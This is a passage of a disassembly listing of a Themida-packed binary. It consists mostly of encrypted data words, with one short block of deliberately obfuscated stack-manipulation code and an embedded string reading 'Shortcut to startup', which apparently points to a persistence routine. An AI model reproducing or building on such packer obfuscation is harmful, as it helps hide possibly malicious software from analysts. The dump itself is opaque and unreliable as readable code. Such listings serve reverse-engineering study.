		dd 0C7C39940h, 8AA39647h, 6F9504FBh, 0DBE0A7F9h, 687B9642h
		dd 0EC3A9655h, 0E9EC1B45h, 0E3679073h, 6D479647h, 48C26185h
		dd 0CBD1284Eh, 0EC829444h, 0EC777E16h, 0B61A9644h, 0B894CC87h
		dd 0A80F9260h, 0EC5A9260h, 0BEE19644h, 8015487h, 46C3F6E6h
		dd 61F5E33Eh, 0D6B259C1h, 3CE26F42h, 31131F14h,	0B641A144h
		dd 68AC56C1h, 0ECD196D9h, 0FD352BCDh, 697B9073h, 0EC3A9648h
		dd 0EC1B1A4Bh, 61059644h, 0EA70B4DDh, 8AF4AEC5h, 69DE6DC5h
		dd 0ECE89653h, 0DF69236Dh, 6D5C9073h, 0EE1F923Ch, 0EE31124Bh
		dd 5B489644h, 8A681CBFh, 8C4DAEC5h, 0ECBF134Bh,	695D9644h
		dd 0EA0D9175h, 41FEEC4h, 0ECC9134Bh, 5B489644h,	31361D9Fh
		dd 8AD7A14Dh, 0ECEEEEC5h, 0DEF199EFh, 863A9644h, 0EFF5C744h
		dd 0CC8E9644h, 651E551Dh, 6DA7B208h, 0FBD5B200h, 0ADE89644h
		dd 80795515h, 25BAC1FCh, 0EE7E7F89h, 66819644h,	0EC479641h
		dd 3681722h, 0EDD128A2h, 6D8ED045h, 61C00F9Eh, 0D6B259C1h
		dd 32A29942h, 2C0B46BBh, 0EE4B124Bh, 0ECC99644h, 0ECD27E12h
		dd 0B2C89644h, 98FDC887h, 0A8BB9260h, 0EC089260h, 0BAC89644h
		dd 67E71987h, 0DB89FFD9h, 0D8131642h, 0D18EAEC5h, 697B9446h
		dd 0EC3A967Ch, 44E962Eh, 0EC8E9647h, 0B784CD64h, 0E887CACDh
		dd 0E8F5D2C5h, 0ECE8965Dh, 0CDB7C507h, 9A6C7161h, 35801DC7h
		dd 6D88A16Ch, 0D121903Ch, 68ACEC1Bh, 0ECD19791h, 1A02F22h
		dd 704C1722h, 6EBF9924h, 671D9644h, 0DB864FF9h,	0EE3F1642h
		dd 9E2699ACh, 86D19644h, 0EF00C644h, 0CC749644h, 6562551Ch
		dd 6D19B200h, 0FB8AB200h, 0AC479644h, 0C0F15514h, 6DB77A6Bh
		dd 2CE8903Ch, 0EC33134Bh, 0EC509644h, 0EC1E7E17h, 0B7AE9644h
		dd 0B0CECD87h, 0A8229260h, 0ECC59260h, 0BFAB9644h, 19FE4C87h
		dd 0EC3BFEADh, 0BE1DFC44h, 0EC8E95ACh, 2F1DB644h, 0C8F71F1Eh
		dd 0C8951740h, 0ECE88C40h, 2F26D444h, 3FE2EABAh, 6723A057h
		dd 0ED8E289Ah, 0E2AEE845h
dword_590000	dd 30A39644h, 4B025A3Ch, 513E391Bh, 6494F635h, 23BF1BB2h
					; DATA XREF: Themida_:0053EDD8o
		dd 671BACCCh, 655E698Ah, 0DB6417C1h, 0E3631342h, 0ECD173C0h
		dd 0BCE8FC44h, 0EC7495ACh, 2F62B644h, 0C8591F1Ch, 0C8CA1740h
		dd 0EC478E40h, 2FF3D644h, 0A7A7B862h, 67381DA9h, 0DB7437D9h
		dd 4021642h, 0EC33134Bh, 53819644h, 0E93F1695h,	0CD269937h
		dd 5D19644h, 0ECE89643h, 93EFC1ECh, 6782CEE0h, 0DB1567D1h
		dd 0EBF61642h, 56C39917h, 8AA39644h, 25767FC5h,	63D01722h
		dd 97F19941h, 0C53A9644h, 0DB340BD1h, 2D131D42h, 6C41A158h
		dd 0E3CB903Ch, 0ECD1F3C1h, 16191644h, 0E3411BCDh, 6D5C9073h
		dd 0C9E29D3Ch, 0ECDE134Bh, 0EC2D9644h, 0ECA07E17h, 0B7F19644h
		dd 0B061CD87h, 0A8F59260h, 0EC219260h, 0BF5E9644h, 786EAA87h
		dd 0E513F379h, 0A41CF055h, 0EC827F6Ah, 0EC829644h, 0EC777E17h
		dd 0B71A9644h, 0B094CD87h, 0A80F9260h, 0EC5B9260h, 0BFE09644h
		dd 0DA3A3987h, 0C58DE6E2h, 0ECCCD411h, 653A9644h, 0DB113FC9h
		dd 0ECA47F42h, 0EC2D9644h, 0ECA07E11h, 0B1F19644h, 8061CB87h
		dd 0A8F59260h, 0EC2F9260h, 0B9589644h, 66F55287h, 0EC462EB7h
		dd 71289644h, 0EAE6B969h, 0B68829D4h, 0E324D94Eh, 0EC3A94C4h
		dd 7CD51D44h, 0E87B1BCDh, 0E7AF9073h
		db 44h,	96h, 0A3h
byte_590163	db 0E9h			; DATA XREF: Themida_:0053EF90o
		dd 0CD35336Eh, 2ADD062Eh, 612FBF05h, 0D00A05F9h, 0D0901B42h
		dd 5488AA71h, 9B21C367h, 0CC321347h, 23FA9073h,	8E287F85h
		dd 0AEE845EDh, 0A39644E2h, 25A3C30h, 3E391B4Bh,	94F63551h
		dd 831BB264h, 0A4F305E9h, 800F58h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 4E04C351h, 2C82E4B0h, 121F9CFFh, 13E960h, 7E4D0000h
		dd 2FC3D68Dh, 0ADCB777Dh, 0D37DB32Eh, 4332AC66h, 0BF0F50BAh
		dd 0B6159D3h, 0B0840FC0h, 89000000h, 372E1DBDh,	0CE906h
		dd 0E9450000h, 55079BBFh, 3ED3690h, 0B58D6F86h,	6374E2Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B2C35545h
		dd 0C9858B60h, 8906371Ah, 3700BD85h, 3B86106h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 695AC353h, 2968E934h, 37250DBDh, 6AE6FF06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0DBD9C355h, 0E44ACE31h, 10E855DCh, 2B000000h
		dd 0BCFF0CE7h, 2E104653h, 6499B9B8h, 66A5DE2Bh,	405FF98Bh
		dd 1BA1BD8Bh, 0C08B0637h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 2FC35646h, 836E90BDh,	371929BDh, 9750006h
		dd 1FE1BD83h, 74000637h, 8B535019h, 403B8C0h, 85890000h
		dd 6372A05h, 0B1739D8Dh, 0D3FF0639h, 0BD83585Bh, 6371FE1h
		dd 50177400h, 403B853h,	85890000h, 6372A05h, 0AE149D8Dh
		dd 0D3FF0639h, 9D01585Bh, 6372341h, 21C98D8Bh, 0C08B0637h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 7AC35747h
		dd 0FC22402h, 28Eh, 61D08B00h, 9E8h, 710FFB00h,	7CA11C22h
		dd 0B5311805h, 6371079h, 0BDB58B5Ah, 81063729h,	6779C2h
		dd 0CE800h, 5B0A0000h, 0B9B18D1Bh, 0FC75F730h, 8C0FEDC8h
		dd 6, 8C0Fh, 68580000h,	0
		dd 1CF19D8Bh, 0E9590637h, 0Eh, 0DDD051F9h, 0B4C2F707h
		dd 0C5E242DBh, 3C8BA438h, 4CD8810Ah, 812F5EFEh,	3ED283EFh
		dd 0A1B52959h, 8106372Eh, 0C18260EFh, 2DB5233Bh, 8106372Fh
		dd 0CEDB82F7h, 0BE947h,	98A50000h, 88AF316Ah, 5E19D58Fh
		dd 0A3C8975h, 741B0EB8h, 68B0F10h, 89000000h, 37192DB5h
		dd 35E98106h, 33194094h, 371D95B5h, 31C18106h, 0F194094h
		dd 0B80h, 58B0F00h, 66000000h, 0A358C681h, 9980F981h, 850FFFFFh
		dd 12h,	2DD68166h, 20E982h, 385C0000h, 4D2208F5h, 0B50B35BAh
		dd 6370FB9h, 0FFFF69E9h, 506896FFh, 1D67495Bh, 97EE631Ah
		dd 8D8DE0F6h, 63C38D5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 45C35545h, 0C502B502h, 1A59B509h, 8D890637h
		dd 6371875h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	26C35040h, 542166FEh, 0ACF1CF55h, 1D559589h, 95010637h
		dd 637179Dh, 119585C7h,	72A00637h, 8E90000h, 34000000h
		dd 7312C8CBh, 0C7C3FB48h, 370F8185h, 6,	0DDBD8900h, 0FF063731h
		dd 371C39B5h, 5795B006h, 87509DBEh, 95FF584Eh, 6371291h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1FC35343h
		dd 9D562C8Bh, 893F55C4h, 3709918Dh, 0FF006A06h,	37321995h
		dd 0EBC08B06h, 6DDB357Fh, 4DB0EDA5h, 83FCB650h,	44F0FDF4h
		dd 0F099AD4Ch, 19B938E0h, 0F0F590AAh, 25A0CBCCh, 0F061C330h
		dd 34E69D18h, 0F13FBD4Ch, 75DBDDBCh, 0E38C81F8h, 1E5C492Eh
		dd 1240982Bh, 3EA524BBh, 407F973Dh, 6CB3EFB3h, 14C06826h
		dd 393B0C83h, 76C12A19h, 15BDD2D4h, 0BE3C3D15h,	93AA9A45h
		dd 908B2CDh, 0C0930F4Dh, 0BE2F6E49h, 0EBCF6F56h, 17D02B16h
		dd 84FCD1ABh, 0D3DF9D33h, 0E5B6DB48h, 8E8h, 7592CD00h
		dd 3630529h, 6EC1809Ch,	0C081F858h, 6755h, 7E9h, 0E624A600h
		dd 4B97E92Dh, 19AEBFh, 35B36000h, 0B9DF8166h, 108B614Fh
		dd 0DA33E181h, 0F2814374h, 21D0E22Ah, 5C281F8h,	8A4F2C72h
		dd 0E6EA81DDh, 0F1DCBCEh, 689h,	0C98D0100h, 5206371Ah
		dd 0D3F3F681h, 8F31BFh,	839B589h, 0E8830637h, 4FB3B704h
		dd 1C850Fh, 8D890000h, 6371A3Dh, 25E9h,	0D411FC00h, 0EC4B6757h
		dd 2379AA48h, 4B01933Eh, 8D8B6E76h, 6372AEDh, 0FFFF95E9h
		dd 4FE0FDFFh, 97F1E8A4h, 11E80BE3h, 2D000000h, 4473EEE7h
		dd 27214A1h, 0D577E76Ch, 0DC266D1h, 68D0Fh, 85290000h
		dd 6372B59h, 0D195015Fh, 81063707h, 6B4DC7h, 0D5852900h
		dd 68063729h, 1AACh, 0F9BCB966h, 6E95Bh, 25D90000h, 0DB08A46Fh
		dd 515A37FFh, 0AE8h, 0EA64D200h, 9B11AD14h, 660F5861h
		dd 8A1C081h, 0EA815858h, 52C616C6h, 819AC880h, 0AF5299EAh
		dd 1CBE6640h, 0DBEA81CFh, 662A4DBFh, 8952CA8Bh,	371285BDh
		dd 80078F06h, 0EF83D0EDh, 2840F04h, 0B0000000h,	1EB83A6h
		dd 0FFAA850Fh, 0C081FFFFh, 37C34A19h, 6EC58C20h, 8A555445h
		dd 0D9BF54EBh, 0E9643262h, 1333207h, 5EF06D22h,	5174E88h
		dd 5177601h, 133325Ch, 12F06567h, 0C16B54Dh, 0EE9FCBD2h
		dd 135B00Bh, 0BC023202h, 7041388h, 59BCC0Bh, 9EB64Fh, 1593220h
		dd 130DA42h, 5B133208h,	55BA68C7h, 45B23626h, 1243625h
		dd 53713280h, 182AA483h, 308EB16Ah, 1350518h, 106B607h
		dd 84BA3204h, 70410BFh,	13244E8h, 56335880h, 13331A8h
		dd 0C26C1220h, 254FBB4Fh, 2577B30Ch, 1332E00h, 0C2647502h
		dd 92BD72C5h, 8B9358D1h, 60A6B99Dh, 9135053Ah, 8A63BEA2h
		dd 159A2F8h, 130DA55h, 58133202h, 4DBA6BC2h, 45B236A4h
		dd 12E3664h, 50723220h,	0E833DFD3h, 0CC7C4DA4h,	0E5A65B2h
		dd 0FF177E03h, 65E7D4BEh, 0BF556AC5h, 0C1B09635h, 673BB90Ch
		dd 6BCF7A9Bh, 2DB6508h,	21333204h, 886CF15Dh, 8037167Dh
		dd 143716C4h, 46333240h, 3B9BF177h, 1B3C0DAFh, 0F0B6BB4Eh
		dd 67350521h, 0FE050B83h, 1A8B60Eh, 1593280h, 130DA12h
		dd 5B133220h, 55BA68D3h, 45B2362Ch, 1243620h, 53713202h
		dd 0F771D5C2h, 0FCAEB965h, 82350561h, 0D3B33BE1h, 0E80AB2D1h
		dd 192B707h, 8A553204h,	72B9FBh, 57788661h, 0CC671B38h
		dd 2526B68h, 0B7EBB9E8h, 4F2B1C6h, 0E9643262h, 1333207h
		dd 5EF06D22h, 5174E88h,	5177601h, 133325Ah, 0C3F06567h
		dd 0D04DFBE1h, 0BE3CD951h, 910AB3D7h, 0EB87149h, 1336484h
		dd 8A555280h, 121DB8Eh,	9E6A3220h, 0BC07AF16h, 9422CD9Fh
		dd 0CDB57CE6h, 0D4A72A83h, 2ABEBF60h, 8A3505CEh, 362967FDh
		dd 1308A26h, 1593210h, 130DA5Eh, 5F133204h, 75BA6CC1h
		dd 45B23625h, 12436A4h,	57753240h, 9A7F58E3h, 98A6BBC2h
		dd 0FE350507h, 60B985E5h, 0E9663268h, 1333202h,	5CF06FA0h
		dd 5175EC9h, 51776A1h, 1333207h, 71F0674Dh, 8AAFBAD2h
		dd 363C6BB7h, 0A48EBF07h, 8C350EBAh, 3D0FE8CDh,	82478A26h
		dd 84003382h, 7042A99h,	0E8F2FD2Fh, 6EC58C20h, 8A555445h
		dd 0D9BF54EBh, 0E9643262h, 1333207h, 5EF06D22h,	5E98388h
		dd 0C08BA4F3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	98C35242h, 46BA0E5Dh, 0E902A41Ah, 0Eh, 9065B101h
		dd 9A0C3426h, 35E8080Bh, 890FAE8Eh, 1, 0E9C38BF8h, 0B0h
		dd 0DA8C6660h, 0F04C2F6h, 0C85h, 49853B00h, 0F06371Bh
		dd 3684h, 5D853B00h, 0F063704h,	2A84h, 11853B00h, 0F063720h
		dd 1E84h, 15853B00h, 0F06372Fh,	1284h, 5BD8300h, 106371Bh
		dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h
		dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h
		dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h
		dd 17820Fh, 0CF3B0000h,	0F830Fh, 0C3830000h, 850F4A04h
		dd 0FFFFFFDCh, 0DE9h, 2B9D8D00h, 0B806374Eh, 5,	0C361E3FFh
		dd 0EE8D00Bh, 7E000000h, 88FB2F51h, 1C73A60Bh, 0FB1D0E00h
		dd 95895786h, 63712A5h,	0FE8B585Bh, 68D0C081h, 0E9510000h
		dd 6, 3BC27CA8h, 0BA5F48C7h, 16BF1D12h,	302EA81h, 0FFF816BFh
		dd 7D858930h, 5E06370Bh, 7FE6DF81h, 0F6811802h,	3654698Fh
		dd 9412F681h, 0DF8B2E68h, 0EFC0F681h, 0F57677Ah, 682h
		dd 7D8D8B00h, 5F06370Dh, 86B9B956h, 8F7A40h, 8E9h, 27B2D200h
		dd 93AD6ED7h, 4E8837Eh,	1331BD29h, 0F4A0637h, 0FFFFAA85h
		dd 0C19589FFh, 0EB06370Bh, 0DED1C904h, 52DE931h, 84CA0000h
		dd 47965131h, 16631EFEh, 0E536F1D1h, 0B305C0A0h, 1FE59070h
		dd 0E6C6095Bh, 0B797E02Bh, 8565ACFCh, 57377ECAh, 0F8D2EDD3h
		dd 6BE71FF2h, 115D4A3Eh, 0CC81C9E4h, 0A908E123h, 11A59231h
		dd 629AC081h, 71BA0544h, 846590AAh, 22024597h, 58F11B67h
		dd 172331DFh, 0D1BE85BDh, 0D3D5885h, 0DEE12374h, 136280B8h
		dd 1E6BB78Eh, 0EAB3CE00h, 9C250FDCh, 6F3D4FFh, 0F9A76EB7h
		dd 57A3FF1Dh, 23623010h, 2B72BED6h, 53A3C8F3h, 1F5E2C0Ch
		dd 3C618CD3h, 3E87D2ECh, 5E255D77h, 0BF0A2671h,	5D95AF76h
		dd 0FC1ADA96h, 290950A0h, 14DB226Eh, 3D86D514h,	0FB441112h
		dd 1965E123h, 0CF1E0BD2h, 281EBF86h, 0C0B4810Ah, 0FB77536Eh
		dd 0CEF4E123h, 266785A3h, 3628C40Bh, 8675h, 115D4300h
		dd 0CE692BE7h, 1D556499h, 13C38D56h, 421CE123h,	2A76B524h
		dd 83AEB8E3h, 0FF36296Bh, 22D74C0h, 1C8h, 0E5D9600h, 0BFFEFEC5h
		dd 4862296Eh, 60A9F81Dh, 2C479999h, 0E123CC1Eh,	26ED3283h
		dd 0FA254B0Ch, 783F84D5h, 2FF6398Bh, 8EDDF542h,	98460D45h
		dd 49159EBCh, 7CC51453h, 97809BB5h, 33638C62h, 0D4F2103Bh
		dd 0E02978h, 8DA7F332h,	92BDF53Eh, 0FADA216Dh, 8BBFDA2Ch
		dd 58E12303h, 5DEB0732h, 81BAE50Bh, 0BA986243h,	7FCEBB82h
		dd 0E6C91836h, 16F35F0Eh, 9C3D1E49h, 0DA2C88A6h, 0B0FCB797h
		dd 68B5A269h, 39475C23h, 3667DA1Bh, 88193629h, 0E7000000h
		dd 1C80B5Dh, 6482C714h,	0C88FD425h, 0F4A283AEh,	4C9EFA18h
		dd 1C6E2909h, 0D42512D9h, 90DBC88Fh, 43938047h,	0B97935FCh
		dd 0D1DF129Bh, 8ACF72B3h, 77B13628h, 7F000000h,	74BB0B4Ah
		dd 436893ADh, 4190AEF1h, 8222FFEBh, 52335E2Ah, 0E5E50052h
		dd 86E12355h, 556B5F7Ah, 0D2F8E123h, 0FA4A6F9Ah, 0B3FFECB3h
		dd 67B8A56Ch, 36415B22h, 2CDAA1E4h, 96A93250h, 7AA2EF2Eh
		dd 0CE27AE7Eh, 0B3DE1670h, 0C91B7795h, 5DF4A686h, 35FEC50Eh
		dd 0E123CC68h, 0AD84D3C7h, 0DFAB8EF8h, 203E5C87h, 290352DFh
		dd 0A4F13036h, 537E985Fh, 119h,	105DE700h, 0CB1704CBh
		dd 2701BD84h, 285396E8h, 3E7DEC0Ah, 4165C5EDh, 0A3D25BD4h
		dd 5F8AA46Bh, 0C8A8ED3Ah, 0ACC783D7h, 0E123399Eh, 44EE444Dh
		dd 0C8E3144Bh, 1F3A5890h, 0E75A37AAh, 0A9F04039h, 7290C8E2h
		dd 967C7323h, 1D37FE47h, 4C36B002h, 7534021h, 0D925E0C0h
		dd 0B602CB92h, 4BE71455h, 2170DFFDh, 3719B78h, 8DB2DD5Fh
		dd 4C1AFA41h, 0C2D1CBFDh, 0A8B30257h, 0C4E9145Dh, 0C90C5E78h
		dd 0AFCAE802h, 0E714099Bh, 0CCEA2248h, 0B28EFB7Dh, 2E59379Dh
		dd 0CD14604Dh, 16556506h, 0A2BC83CAh, 0CC3B5977h, 62DFAB7Dh
		dd 530ACD4h, 2F4D94E0h,	3E8AA4F0h, 9A94BFF7h, 5FB437FAh
		dd 122493Ch, 27170000h,	0C4DFFDD3h, 0E75AFAA3h,	5E4B1238h
		dd 5EADCB12h, 0C6E1076Bh, 0E7140484h, 2E264167h, 8D87B2D3h
		dd 78526DBFh, 91E714BCh, 0D6F0D219h, 0A7CD8EC7h, 0C40B577Ch
		dd 6EBEFDFDh, 45606027h, 0E7143205h, 5D88C0E6h,	85D2EC38h
		dd 0DEAA6F5Dh, 0EE2674CAh, 584EEFB6h, 4B92DE3Ah, 0A466CB6Bh
		dd 2E1A3C5Fh, 0E8000000h, 0E200DE27h, 23CD53C7h, 4C6A90E1h
		dd 0B077BC0Dh, 0C18A6B96h, 0E123CC89h, 0CF617F43h, 6F8AA886h
		dd 0E123CD8Bh, 15D2B2D8h, 90h, 0FDD327BDh, 9B0790DFh, 3BA7A3FCh
		dd 0D0BDD810h, 9EE75AB8h, 2460F4Fh, 0AFBA0CDEh,	11EC1760h
		dd 7BE0EA05h, 5D83E714h, 25715E25h, 3081C0DEh, 92424EBh
		dd 0E7147BC1h, 19447CA2h, 3802511Fh, 4472F13Ah,	529EC3EEh
		dd 347B440Bh, 0E5E714CAh, 0D11D7997h, 65B9AA8Ah, 0F256718Fh
		dd 69E1570Ch, 80D62543h, 0F5F479B7h, 73577290h,	0F0E12859h
		dd 0D1BE9FCAh, 0BB773E85h, 0F74BDDFBh, 64E80321h, 0FFE76B9Eh
		dd 0DC2BF9D9h, 275C3CEFh, 0B0CCF7C4h, 0DFFDD327h, 62546990h
		dd 8AB54B59h, 7953752h,	284EE760h, 0E1287461h, 0B3FA4601h
		dd 50DB23ECh, 59351F3Ah, 4C93DF3Bh, 1E65B16Ch, 2972C100h
		dd 0DF301DFEh, 0F23D7C9Ah, 9DC8E2A9h, 0E72600BCh, 0A08D549Bh
		dd 0ABD60E53h, 0C7136F8Dh, 6B4B7F9Ah, 0F218D0FDh, 0D31FDABAh
		dd 3D6C58Ch, 7E000000h,	175D3628h, 0C410FDC4h, 79C9B67Dh
		dd 337E6B32h, 0E43623EAh, 9BEDDAA1h, 53A49158h,	0D5A470Eh
		dd 0C51401C8h, 50C3B57Ch, 405E089h, 83000000h, 43304E8h
		dd 24043124h, 5C240433h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	3498h
		mov	[esp], edx
		mov	eax, 6E53598Ch
		inc	eax
		or	eax, 4FC26575h
		push	ebx
		mov	ebx, 69EF436Eh
		xor	eax, ebx
		pop	ebx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	eax
		mov	eax, 68247D27h
		sub	[esp+4], eax
		pop	eax
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 68247D27h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		dd 0B8BB8066h, 63C4340h, 0E0FFC503h, 4CFC7F99h,	3DDC2642h
		dd 58D717A8h, 585386B7h, 43E30AF4h, 5ADBC451h, 73C945h
		dd 24780BE3h, 29DF3F1h,	0CEF498h, 241F1716h, 6212D16Ah
		dd 0B11784Fh, 3683C80Eh, 4BED172h, 69C7EBA4h, 36F448EDh
		dd 42FE9979h, 67CE686Ch, 382B7984h, 77EE6623h, 6662599Bh
		dd 3838113Bh, 2190D4DEh, 1D922635h, 79271CA4h, 0FB23B9Eh
		dd 1A4B6231h, 5F8173Bh,	58A7262Ch, 684D5B66h, 7EA79C37h
		dd 45058D8Dh, 0BD89063Ch, 6371FD1h, 18758D89h, 0DE90637h
		dd 6D000000h, 0C09EA5C4h, 58F021AAh, 1B090E34h,	119585C7h
		dd 72C00637h, 0DE80000h, 16000000h, 720E4F6Ah, 6C79EDA4h
		dd 3B9B2384h, 9FC38166h, 0C78B5B80h, 0F8185C7h,	637h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0E8B32BC3h, 0FDEB536h, 669F6C9Ah, 0B310C881h, 309DB5FFh
		dd 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0BE7238C3h, 0AA845523h, 8B1B585Dh, 9195FFDAh
		dd 8B063712h, 3729F985h, 0FF006A06h, 37321995h,	0EBC08B06h
		dd 82AB67Eh, 0C6DE9A91h, 0B5B248E4h, 0EC400B2h,	1C852119h
		dd 458DE752h, 0A12D6E57h, 46414A3h, 0E81427A9h,	4FCE1C81h
		dd 0B5419A22h, 502E388Fh, 0BCA851E1h, 16CE45AAh, 8DAE5E10h
		dd 0A25B1306h, 35C7DEFDh, 4E80B363h, 1738DEF4h,	4E708943h
		dd 7EBF6664h, 7E813A0Fh, 16AC8A59h, 40EF6AB6h, 0A1BE8043h
		dd 0C0CB2C0Eh, 0B129F951h, 6D69C59Dh, 7746807Bh, 271B65EAh
		dd 124FBEE6h, 8D5CB780h, 370CC59Dh, 39B806h, 85890000h
		dd 637230Dh, 0E8h, 0D055800h, 89000000h, 39E903h
		db 2 dup(0)
word_5911FA	dw 0			; DATA XREF: Themida_:0053D914o
		dd 0Dh dup(77E6h), 0EBFF77E6h, 6F68536Ch, 75637472h, 6F742074h
		dd 61747320h, 70757472h, 14h dup(0)
		dd 5B5EAD00h, 112h, 0FDBE900h, 0E6680000h, 0E9063C47h
		dd 0FFFC0331h, 3C48D868h, 327E906h, 5968FFFCh, 0E9063C4Ah
		dd 0FFFC031Dh, 3C4A9D68h, 313E906h, 7468FFFCh, 0E9063C4Bh
		dd 0FFFC0309h, 3C4C0968h, 2FFE906h, 0DD68FFFCh,	0E9063C50h
		dd 0FFFC02F5h, 3C537068h, 2EBE906h, 9668FFFCh, 0E9063C54h
		dd 0FFFC02E1h, 225B2079h, 6EA756CAh, 0B8F18C16h, 7403D60h
		dd 528B68AFh, 0C45BC364h, 76A6FE37h, 0A1F64E87h, 0DF439BD4h
		dd 7280E922h, 0AA3F2A64h, 2C87357Bh, 0A307F42Ah, 7DA556ACh
		dd 9BD11B5Ah, 0ED59760Bh, 0EA7C4A75h, 6C32B72Fh, 0D7FFFA20h
		dd 59BD4D6Ah, 9A74639Ch, 0B202E78h, 0DC881D87h,	518FE109h
		dd 227BAF77h, 4C8694C8h, 5F7BAF77h, 69396F8Ch, 0B2D0E49Ch
		dd 4616EFh, 93BD0000h, 249977Bh, 0DCA827FCh, 466E0B90h
		dd 25509AD9h, 8E9426E1h, 98264318h, 0CE92E64h, 742A87EFh
		dd 0EABD881Dh, 573270C2h, 0ABEE7BAFh, 0F328A2CAh, 9858DE06h
		dd 8D8FC60Ah, 0B438F015h, 0B26AEFB2h, 11000000h, 0E109F42Ah
		dd 1B433067h, 58807DA1h, 84BDB8DEh, 0E689E554h,	720F9381h
		dd 0C0BDE139h, 95878798h, 9C403D4Bh, 8053881Dh,	62B65847h
		dd 0D2524A9Fh, 5A237AC4h, 4786C532h, 439EC9FDh,	74DAF658h
		dd 0D80A728Fh, 0D381E860h, 5782B600h, 0C6D49C2Ah, 81D7D68Ch
		dd 0BA8BCC9Fh, 0C2526F6Eh, 0F659E5Fh, 90B845D9h, 23760623h
		dd 724F0352h, 112D0CF8h, 0D9FD6h, 26DB4400h, 720395EDh
		dd 0BCB1E139h, 0BF02B83h, 56277AD2h, 28F82F1Dh,	73CB04F1h
		dd 0C31B5429h, 1068A15Eh, 4DB6EF8Ah, 3DF7313Fh,	54027BAAh
		dd 0F9F72AF9h, 629BDAA3h, 0B0E9940Ah, 997B9393h, 0A4E4414Fh
		dd 6CA2881Dh, 0F32C4934h, 68A6F820h, 397BAF66h,	2F5A6B37h
		dd 0F2E0D7Bh, 2478C4EBh, 0A7C43159h, 0B283A159h, 0BED3EFh
		dd 2A7A0000h, 69E109F4h, 0B510EF33h, 0F7CE68C5h, 97274483h
		dd 0F94B7300h, 81E6378Ah, 198068AEh, 0D7C5245Ah, 0ED2C6E77h
		dd 0F91D75AEh, 4B87B2FCh, 1DFED4h, 3849B5D2h, 0ECFA44D6h
		dd 881D55EFh, 4E2D75ABh, 1CEC8739h, 7592D1CCh, 0E91F693Ch
		dd 30ADCAB3h, 54FCD41h,	8EAB48CFh, 0B4AFF200h, 604081E8h
		dd 0B6003F3Ah, 235C1980h, 61A554CBh, 0E7AA14ADh, 62ECF52h
		dd 0CC1B5A99h, 0CF7F954h, 0ADEF2A46h, 5200000Ch, 0A3FB34C9h
		dd 0EF47807Dh, 3991CAA7h, 88E019E2h, 3D2B6411h,	16E73AEAh
		dd 661785DDh, 0B340D52Dh, 1FC227Ah, 43515FC8h, 7BAA3D09h
		dd 2A0B6614h, 75CD06F7h, 0FE1B5421h, 0E109F42Ah, 0D463367h
		dd 0D822F01Eh, 1D9021CAh, 0F370A88h, 0AF797FBDh, 544E507Bh
		dd 0B2D7F9B1h, 72BEFh, 69D20000h, 8F1h,	8C7B93F4h, 0E42E6D10h
		dd 1D9C79D6h, 4F774A88h, 7BB441D5h, 0DA02FF23h,	0F3917488h
		dd 0B1F16FE2h, 0A7F18C12h, 29512A71h, 0CC229FBCh, 5A770696h
		dd 81A954CAh, 7350F22Fh, 22800420h, 67757DA1h, 2073512Dh
		dd 0F52E6D40h, 547C799Dh, 7350C102h, 73A9CD20h,	22D34628h
		dd 264E8DFAh, 73DEC0B7h, 4F8E1CD9h, 1DA6FC32h, 6DC3FCF9h
		dd 21136E42h, 421986Ch,	0D7462E74h, 0BB42DA26h,	0A6DC547Ch
		dd 336D7B77h, 46E359D3h, 9F0C3473h, 61B35B82h, 0F8040917h
		dd 14E7E990h, 0E9BD97DBh, 77ADF725h, 0AB395623h, 6211189Dh
		dd 344276EFh, 0E359CFFAh, 6F72505h, 153271DEh, 89BF09DCh
		dd 0FA26219h, 15D26055h, 0DE6AB9D6h, 0C16AED93h, 0FB58B856h
		dd 0F8E4AE37h, 2105A99h, 47813C01h, 2D375F95h, 75E20AEBh
		dd 0DE01936h, 0D83AD4E5h, 0FE245A8Eh, 2BB0EAF8h, 0E8BB3B3Bh
		dd 0F0248CA9h, 0FF41759Dh, 76ACE22Ch, 0A4FA528Bh, 0C3FE10D7h
		dd 0D4CBC97h, 7B2458BEh, 0E7223E4Dh, 0B2Ch, 7AB348D1h
		dd 0C6FFFE22h, 1049246Eh, 5F9865B8h, 0AAE39007h, 6CB36BBCh
		dd 9EFE568Fh, 0C94EA6DFh, 79BF32Ch, 0CAD8417Ah,	0AA3A82BCh
		dd 84DF8D7Bh, 0A5FCF42Ah, 443B0D8h, 0E9977FB5h,	6415D0Ch
		dd 0AE8h, 366F0C8Dh, 82BBBADEh,	0CC05F82Ah, 1B542974h
		dd 669F5CC3h, 286FAF78h, 62BA124Bh, 950A629Bh, 0C357AFE8h
		dd 8694FD36h, 0AA3B3E78h, 48A3517Bh, 0E109F42Ah, 0A433067h
		dd 749A8EC6h, 392686A4h, 69A8FFF3h, 5D8C111Fh, 7F5F881Dh
